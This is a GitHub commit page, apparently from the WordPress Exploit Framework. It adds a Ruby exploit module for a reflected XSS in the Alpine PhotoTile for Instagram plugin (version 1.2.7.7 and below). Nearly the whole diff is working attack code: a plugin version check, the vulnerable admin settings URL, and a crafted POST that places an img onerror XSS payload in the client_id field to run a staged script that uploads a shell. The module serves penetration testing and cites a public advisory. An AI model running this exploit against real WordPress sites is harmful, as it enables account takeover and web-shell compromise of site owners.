Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 54f0f9c

Browse files
committed
Add Alpine PhotoTile for Instagram reflected XSS shell upload
1 parent c4eda8e commit 54f0f9c

File tree

1 file changed

+38
-0
lines changed

1 file changed

+38
-0
lines changed
Lines changed: 38 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,38 @@
1+
class Wpxf::Exploit::AlpinePhotoTileForInstagramReflectedXssShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::StagedReflectedXss
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'Alpine PhotoTile for Instagram <= 1.2.7.7 Reflected XSS Shell Upload',
9+
author: [
10+
'Antonis Manaras', # Disclosure
11+
'Rob Carr <rob[at]rastating.com>' # WPXF module
12+
],
13+
references: [
14+
['WPVDB', '8754'],
15+
['URL', 'https://sumofpwn.nl/advisory/2016/cross_site_scripting_in_alpine_phototile_for_instagram_wordpress_plugin.html']
16+
],
17+
date: 'Mar 02 2017'
18+
)
19+
end
20+
21+
def check
22+
check_plugin_version_from_readme('alpine-photo-tile-for-instagram', '1.2.7.8')
23+
end
24+
25+
def vulnerable_url
26+
normalize_uri(wordpress_url_admin, 'options-general.php?page=alpine-photo-tile-for-instagram-settings&tab=add')
27+
end
28+
29+
def initial_script
30+
create_basic_post_script(
31+
vulnerable_url,
32+
'hidden' => 'Y',
33+
'add-user' => 'Y',
34+
'client_id' => "<\\/script><img src=x onerror=#{xss_ascii_encoded_include_script}>",
35+
'client_secret' => Utility::Text.rand_alphanumeric(10)
36+
)
37+
end
38+
end

0 commit comments

Comments
 (0)